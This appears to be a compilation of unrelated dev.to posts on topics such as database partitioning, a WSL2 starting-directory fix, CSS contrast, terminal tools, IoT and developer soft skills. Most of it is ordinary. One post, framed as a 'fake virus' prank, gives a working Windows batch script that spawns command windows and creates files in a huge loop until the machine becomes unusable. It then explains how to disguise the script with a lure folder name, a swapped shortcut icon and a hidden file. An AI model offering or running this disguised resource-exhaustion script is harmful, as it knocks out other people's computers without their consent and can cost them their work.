teleren/devto huggingface dataset:
Birthday Journal - Day 1: Dawned Reality
Tags: devjournal, writing, startup
Published: 2022-03-16 07:09:28

## **Discretion 

_Please note, reading this devjournal is at your discretion! Contents may be touching, dark or implicit!! The aim of this is to portray the transparency of becoming!!!_

---

Today of all days, I feel so depressed and down. It’s just as though the truth of my reality is just dawning on me; no friends, no birthday calls, no birthday greetings, except for one from a new friend and upstanding colleague, which I do not and would not take for granted. It has been a very long time since I experienced my birthday this way, as far back as 2016, my first year on the university campus. Years after that, it has always been some form of celebration in one way or the other.

Maybe there are some pending demons I need to surface and deal with for my next level of success, I don’t know. But this feeling of sadness and depression is so real and heavy in my heart; I am not praying for it to go, no I am not; I want to really understand the motives behind this depressive state, especially on a day like today that is supposed to be a very happy day of my life.

Over the course of my personal transition, I have lost a lot of properties, and people, those very close to my dear heart. I have been a very tough and strong person in the past few years, one who stood his ground and made sure things happen according to the way they needed to be. I was an enthusiastic and innovative leader, back then, built a growing company which successfully financed a number of projects that generated and made a number of positive impacts to the university environment, where the company’s office was situated. 

The future was bright, it still is, I was always committed to the goal that every individual was connected to their core purpose of life and discover their enact potential of creativity that exist after above the hearsay of many negative pressure from society and its kind.

> When you put in the work, no one can deny you of the results!

Although I believe that if I had known more as I have now, I could have done many other things better, I could have being more lenient in how I expressed my thoughts with my team and many other important people in my life.

Well it’s never too late. I am 24 today and I am happy about that.

---

In 2020, during the pandemic, I started noticing my need to switch, to go out, to becoming more, but in the midst of this stood **fear** in my gap of becoming. I was overwhelmed with fear of losing all that I already have gathered, people, influence, properties, equipment; my fear blinded me so much that I didn't dare to lookout to see if there is a possible alternative to addressing this inner issues baltttling within me.

My fear became masked with pride and unknowing anger. Slowly, I became over-concious in how I was expressing myself to the people in my life; I became withdrawn, I began to live a one-man lifestyle which wasn't the usual me before then. Although, this phase made me discover and learnt a lot, it was still in the midst of fear.

> Understanding is a vital key to success, personal attainment and achievements.
Database Partitioning
Published: 2022-03-16 06:38:43

A database can be partitioned **horizontally**, **vertically**, or **functionally**.

**In horizontal partitioning**, also called sharding, each partition holds data for a subset of the total data set. The partitions share the same data schema. For example, customers whose names start with A–M go into one partition, N–Z into another partition.

**In vertical partitioning**, each partition holds a subset of the fields for the items in the data store. For example, put frequently accessed fields in one partition, and less frequently accessed fields in another.

**In functional partitioning**, data is partitioned according to how it is used by each bounded context in the system. For example, store invoice data in one partition and product inventory data in another. The schemas are independent.
Why is React Development Services gaining popularity in this technological era?
Tags: react, rails, webdev, devops
Published: 2022-03-16 06:28:27

The reasons why [react development services](https://www.cronj.com/react/react-development-services) have been leading the UI development framework and library space, gaining such a high popularity today are listed below:

**Rapid development
**Due to less coding and more functionality facilities, React makes intelligence-infused dynamic web and mobile application development easier to handle and manage.

**Enhanced performance
**Since React uses Virtual DOM, the state comparison & update procedures become faster. Moreover, apps devel- oped with React provide greater loading speed along with the ability to manage huge data manipulation.

**Flexibility
**React can easily work along with other frameworks like ExpressJS and Ruby on Bus, as it does not have state manage- ment and routing. This helps in better front-end requirement management.

**Reusable components
**React’s components have their logic and controls, and interestingly they are reusable. Since these components can be reused while developing an app, it decreases the development time dramatically.

**Low learning curve
**React combines basic HTML and JavaScript concepts along with some beneficial additions, which makes it easier to learn. Yet like most frameworks and libraries, it takes time for develop- ers to get adjusted to their workflow.

**Unidirectional data flow
**Using React, developers can nest child components in parent components. Moreover, since the data flow in a single direction, it becomes easier for develo- pers to locate the area of problem and debug errors.

**Quick rendering
**React applications are usually partially and sometimes fully pre-rendered. Moreover, these apps can be hosted on CDNs without API-based servers for superior loading times.

**Better SEO and UX
**React provides quick loading and data sorting times. This improves user experience greatly, which in turn helps to optimize the product on the search engine results page.

**Code stability
**React provides frequent updates and upgrades. However, these updates do not make large changes in the codebase.
[react js development services](https://www.cronj.com/react/react-development-services)
WSL2 `startingDirectory` doesn't work..
Published: 2022-03-16 06:10:44

Hello dev friends!
Today I solve kind of simple problem but it might bothers you,
Problem is...

### Starting Linux Directory in WSL2 is doesn't work properly

It is little bother me, so I want to fix it follow down below;

```json
{
  "startingDirectory" : //wsl$/Ubuntu/home/<my-user-name>
}
```

but It's not work.
Maybe this problem is related to using zsh(oh-my-zsh like..)

So I came up a little trick, through edit `~/.zshrc`
Insert this line at end of `~/.zshrc` 
> If you use bash, edit `~/.bashrc` same way.
```zsh

# for setting start directory for terminal when wsl2 setting not work.
cd ~/

```

then, It work nice! But I felt very tiny gap time for switching directory to `~/`, Fortunately I feel better now.

If I find a better solution for this problem, I'll be back to post it.

I hope you don't spend your time on the same problem as me.
Thanks.


### Official Method Found!

I found MS official Document about setting profile with `Window Terminal`.
If you using over `Window Terminal` version 1.12.3472.0, `Window Terminal` can references Linux file system directly, so edit setting like down below;

```json
{
  "startingDirectory": "/home/<username>",
}
```

Reference : [Window Official Doc](https://docs.microsoft.com/ko-kr/windows/terminal/troubleshooting#set-your-wsl-distribution-to-start-in-the-home--directory-when-launched)
The formula that produces color contrast
Tags: css, frontend
Published: 2022-03-16 06:09:14

Contrast is not easy. Finding out what the best foreground color to match the background color though, has a formula. Found it on CSS-Tricks:
```javascript
var rgb = [255, 0, 0]; 
function setForegroundColor() { 
  var sum = Math.round(((parseInt(rgb[0]) * 299) + (parseInt(rgb[1]) * 587) + (parseInt(rgb[2]) * 114)) / 1000); return (sum > 128) ? 'black' : 'white'; 
}
```
In less CSS, use the contrast function:
```css
.fcolor(@c){
   color:contrast(@c,#242424,#ffffff,43%);
}
.myclass {
  background-color: red;
  .fcolor(red);
}
```
According to [WCAG (Web Content Accessibility Guide)](https://www.w3.org/TR/2008/REC-WCAG20-20081211/#visual-audio-contrast), the perfect ration for contrast is 4.5 (AA), or 7 (AAA). To see how that affects each color, use [Chrome DevTools contrast checker](https://developers.google.com/web/tools/chrome-devtools/accessibility/reference#contrast).

So now you know why blue, was always the best choice for link colors on white backgrounds:

{% embed https://www.youtube.com/embed/c7LaUI15o_M %}

Resources:
- [CSS Variables + calc() + rgb() = Enforcing High Contrast Colors](https://css-tricks.com/css-variables-calc-rgb-enforcing-high-contrast-colors/)
- [LESSCSS contrast](http://lesscss.org/functions/#color-operations-contrast)
- [Contrast checker](https://webaim.org/resources/contrastchecker/)
Command line tools to boost your productivity
Tags: terminal, commandline, productivity, linux
Published: 2022-03-16 06:08:54

If you are a software developer or devops, you probably use the terminal quite a lot - or use GUI versions of many tools.
Something I found myself is that keyboard oriented applications are generally faster and improve production, specially and mainly when you have a terminal open.

This is the list of the current tools I am using in terminal and are improving big time my life and productivity.

## List of tools

- [Tilix](https://gnunn1.github.io/tilix-web/) - Awesome terminal emulator written in D for Linux
- [Bat](https://github.com/sharkdp/bat) - cat with syntax highlight
- [Glow](https://github.com/charmbracelet/glow) - Best markdown reader/renderer for terminal I found
- [GitUI](https://github.com/extrawurst/gitui) - TUI for git with adding, committing, diffing, etc. My __most__ used tool currently
- [exa](https://the.exa.website) - ls on steroids. My second most used tool. I even aliased ls to exa (`alias ls=exa`)


## More on the list

This list will be updated as I find new tools or better tools. 

Comments with suggestions are more than welcome!
Prank your friend with that fake virus ☢ ☣
Tags: dos, windows, virus
Published: 2022-03-16 06:02:58

I wanna show you an easy way to prank your novice friend just with this little script batch.I hope you have an editor on your computers such as notepad, vscode, or whatever. As far as I'm concerned, I'll use vscode to do the job. let's start!

## Step1

create a folder with a name that gets your friend's attention.

> _example of name : top_movies_2022, tuto_python and so on_

![vscode screenshop](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62c92h7g00vk0jt33psh.png)

## Step2
Create a file with the extension .bat and add the script below

```bat
set txt="臭枓枕朕毂"

for /L %%i in ( 0,1,500000000) do  start cmd echo >旃甡臭枓枕朕毂幹%%i%txt%
 
```

> 😜 Don't worry about the Chinese symbols, it just created misunderstood file names. I create a loop with an excessive number that launches the console and create a file after each iteration. It will saturate the resources of the machine and will make it inoperative.

![script screenshot](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z1d1zua72402ra2503lm.png)

## Step3

hide your trick! To do this, we will create a shortcut and apply another icon, then hide the script file.


![gif tuto step 3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wgpk7idzcvvocedqxm80.gif)

>  And now let's see the final result

![gif final result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2vv3qakvshwnlxw07auq.gif)
Start learning dart using flutter.dev and appwrite.io #first step
Tags: appwrite, dart, flutter, mobile
Published: 2022-03-16 05:43:30

For those of you who are learning flutter for career development, you can start with the steps I did with hsi sandbox and kodingworks.

first step :
You can get started by following the link https://buildwithangga.com/class/flutter-mobile-apps

I have tried the tutorial and wrote it through the github repository at https://github.com/ahliweb/sanboxhsi-flutter-cashyapp

You can also follow the development process via github commit at https://github.com/ahliweb/sanboxhsi-flutter-cashyapp/commits/master

Hope it is useful
look forward to the next step!
IOT vs IOE
Tags: computerscience, beginners, todayilearned, tutorial
Published: 2022-03-16 05:35:30



- IOT - Internet of things
- IOE - Internet of everything

**Well, the difference is the intelligent connection.**


## IOT

IoT is mostly about physical devices and objects communicating with each other

IoT has been limited to only machines thus achieving Machine to Machine Communication.

## IOE

 IoE is the intelligent connection of people, processes, data, and things that will be transforming our world in such a way that there will be billions of connected devices having sensors to detect, measure and access their status all of which will be connected over a public or private network built over standard protocols like TCP/IP. 

Health Fitness bands, Coffee pots, Marine Container’s all become a Node in an intelligent network communicating with each other. 

The IOE will be affected by

- People

People will be connected to the internet in more relevant ways and will be generating data and interacting with devices not only through Mobile’s/Tablet’s, PC’s and Social networks but also through Sensors placed on human skins or sewn into clothing which will provide a person’s vital signs.

- Things

Things and physical items such as sensors, industry devices, consumer products, enterprise assets will be connected to the internet or to each other, also fetching information from its surroundings, will be more context-aware, more cognitive, more intelligent, often so-called the internet of things. 

- Data

Rather than simply collecting Raw data, these connected devices will be sending higher level, more processed data back to respective servers for faster evaluation or more intelligent decision making. 

- Process

With the equivalent to the IOE process, the right information will be delivered to the right person at the right time in an appropriate way.
Being An Introvert Is Not The Problem; Being Stuck Is
Tags: introvert, communication, softskills, speaking
Published: 2022-03-16 05:28:54

> “How to grow your developer career despite being an introvert?”

This question is something I’ve come across several times in my coaching career.

The problem with this statement is that it implies being an introvert somehow hampers your career.

You might be thinking… How is it not a problem?!

I get talked over at work very often. Presentations still scare me after all these years. I have a habit of not wanting to bug people and end up never asking for help.

How do I get promoted, start a company, lead a team if I can’t do all these?

## There’s nothing wrong with being an introvert

Many successful people are introverts.

Elon Musk

Barack Obama

Michael Jordan

Steven Spielberg

Marissa Mayer

So what’s the difference between them and someone who feels their introversion is a disadvantage?

## Being stuck is the problem

Let’s say you are an introvert who loves to create stuff, being inside your own bubble, dreaming up ideas.

But if the situation requires you to be out there, talking to people and presenting your ideas, and you are unable to do that, then that’s not workable.

What doesn’t work is if you’re perpetually stuck in a passive / internal / shy state and you can’t get out of your shell.

Whether you are a CEO who has to network or a software architect who has to present and convince stakeholders… are you capable of it?

Elon musk might love to spend time with books and rockets more than people… but hey. If he needs to get something done – no matter how many people he has to inspire, convince, or sell to – he will do it.

## But… that’s who I am!

My mentor once told me this:

If you think that’s who you are, then it’s true.

If you think that isn’t who you are, it’s also true.

My gripe with most introvert blogs out there is they mostly parrot the narrative that people should “understand introverts more”.

“Why the world needs introverts”

“6 ways to make an introvert feel valued”

“Why I feel grateful to be an introvert”

I’m not against making the world a more inclusive place.

I’m against justifying behaviours so that you don’t have to grow, and hoping that the world will adapt to your preferences.

And this applies to “introvert” as much as any other personality label.

## The journey is worth it

I’m still far from living at my fullest potential, yet I’ve already grown in ways that I wouldn’t have imagined before.

Being able to express myself genuinely without fear, finding work that fulfils me and having loving relationships with people who matter.

Ultimately it boils down to what kind of life you want to live. A life full of possibilities, or a life constrained?

_PS: If you liked this article, do subscribe to my blog for more! https://evolvingengineers.com/_
Is Your Misplaced Niceness Getting In The Way Of You Speaking Up?
Tags: communication, speaking, personaldevelopment, softskills
Published: 2022-03-16 05:21:30

I was coaching a group of Engineering Managers recently and they all had the same problem – they had engineers who were not performing but too little was done about it. They hesitated to give direct feedback. When I asked one of them why he said he didn’t want them to be demoralised. He didn’t want to hurt their feelings.

## This is misplaced niceness

You see a person walking on the pavement with his eyes glued to the phone… and there’s a drain ahead. Not saying anything means letting him fall into the drain.

(This actually happened to me when I was 14… instead of being glued to the phone I was engrossed in a Pokémon booster pack and fell into a drain. I have a scar on my right knee to prove it 😅)

## And it comes from our fears and insecurities

We think we’re trying to be nice, but it is a mask for our fears and insecurities. It gives us an excuse to hold back from adding value.

What if I tell my engineer that he’s underperforming and he gets demoralised and quits?

If I try to speak up, I’m being selfish and I’m robbing others of the chance to contribute.

## Everything has a chain of consequences

As the Chinese saying goes, paper cannot wrap fire. Problems surface eventually even if they are not dealt with today.

So I let the managers know what’s going to happen if they continue not to give direct, honest feedback.

When the individual engineer doesn’t perform, it affects his project.

If his project doesn’t perform, it affects the team’s OKRs.

Eventually, the problem comes back during the engineer’s performance review cycle. Which hurts his bonus and promotion.

Worst case, the engineer might get fired eventually when it’s too late.

## You are doing others a service by speaking up

So I asked the three managers: would you prefer to hear critical feedback about you immediately, or for your bosses to say nothing and continue letting your performance slide? All of them wanted honest feedback without hesitation.

Most people I know genuinely want to help. You aren’t being unkind or hoarding the limelight.

You are sharing your knowledge, your perspectives, your observations that will not otherwise see the light of the day.

_PS: If you liked this article, do subscribe to my blog for more! https://evolvingengineers.com/_
Internet : Behind the scene
Tags: computerscience, tutorial, todayilearned, todayisearched
Published: 2022-03-16 05:20:00

## Lets see what happens in client and server side when the the computer is online, means when the computer is linked to internet.

### Client side

When we type the URL in browser, the browser create a file with these content

- GET/HTTP/1.1 (where GET means we are requesting some data from the server and HTTP refers to a protocol that we are using, 1.1 refers to the version of the HTTP request)

- Host: www.google.com

- And some other information

This file is converted to binary(you know why), and if you are connected via ethernet, it is sent through wires. 

If connected via wifi then this file is converted into a radio signal(you obviously know why). This radio signal is decoded by a router in a very low level, then it is converted to binary and then sent to the servers.

This binary file, goes to the destination and responds only because of the IP address.

One router will send the information to another and this keeps on going until the binary codes reach the destination. 

### Server side

Now the server has received the binary code file, decodes it and sends response in this format

- HTTP/1.1 200 ok (where 200 ok is the status)

- Content-type:type/HTML

- Body of page

Now this is converted back to binary and sent to IP address that is requesting it. Once the codes are received by client, the browser decoded it in the following way:

First, it checks the status

It starts reading the document from the HTML tag and constructs a Tree-like structure.

The HTML tree is then converted to corresponding binary code and rendered on the screen.

In the end, we see the website front-end.



Thanks for reading.
Do Presentations Scare You To Death? It’s Time To Lower The Stakes
Tags: communication, speaking, softskills, personaldevelopment
Published: 2022-03-16 05:19:00

Imagine you walk into a room for a presentation that could make or break your career. As you stand in front of your boss, you feel your shoulders tense up, butterflies in your stomach and a lump in your throat.

## Being in the spotlight

There’s a popular piece of saying about how public speaking is more feared than dying itself.

You’re put under the spotlight and all eyes are on you. There is no hiding behind the computer screen; whatever you say cannot be taken back.

Worst still, you are not just judged for the content of your speech but also the way you deliver it.

## The big open sea

How did you learn to swim when you were young?

It’s likely that you first waded in the shallow end of the pool, got comfortable with water, then learnt some basic breathing techniques.

What if instead of a gentle introduction to swimming, you were thrown into the big open sea and left to sink or swim? Even if you survived, you’d likely be traumatised by the experience.

Most people’s approach to overcoming their speaking fears is like learning how to swim by starting out in the big open sea.

Not only are you trying to get better in that short period of time, you are also battling the stress, the anxiety boiling down to an important event.

In a company presentation, it means making a bad impression.

In a tech conference, it means wasting a chance at building your brand.

In a group discussion, it means not being able to get your point across.

## Lowering the stakes

The last thing you need is to be fighting internally against the consequences of not speaking / presenting well.

When I first started trying to express myself more, it was daunting. I remember freezing up whenever it was my turn to speak in a group.

I tried to force myself to put aside the anxiety but it was like banging my head against a wall.

What eventually worked for me was practicing to speak up when the stakes are low.

I joined Toastmasters and hosted small events.

I talked to random strangers on the streets for a few months.

I attended meetups, striking up conversations with the organisers.

The fear and awkwardness was still there initially but there were no adverse consequences, no expectations.

If I failed, the embarrassment was contained.

## Incremental vs. big bang

So start early and start small in your practice. Try going for incremental improvements rather than just practicing for that one single upcoming presentation.

You will be so much more prepared when the time comes 🙂

_PS: If you liked this article, do subscribe to my blog for more https://evolvingengineers.com/ !_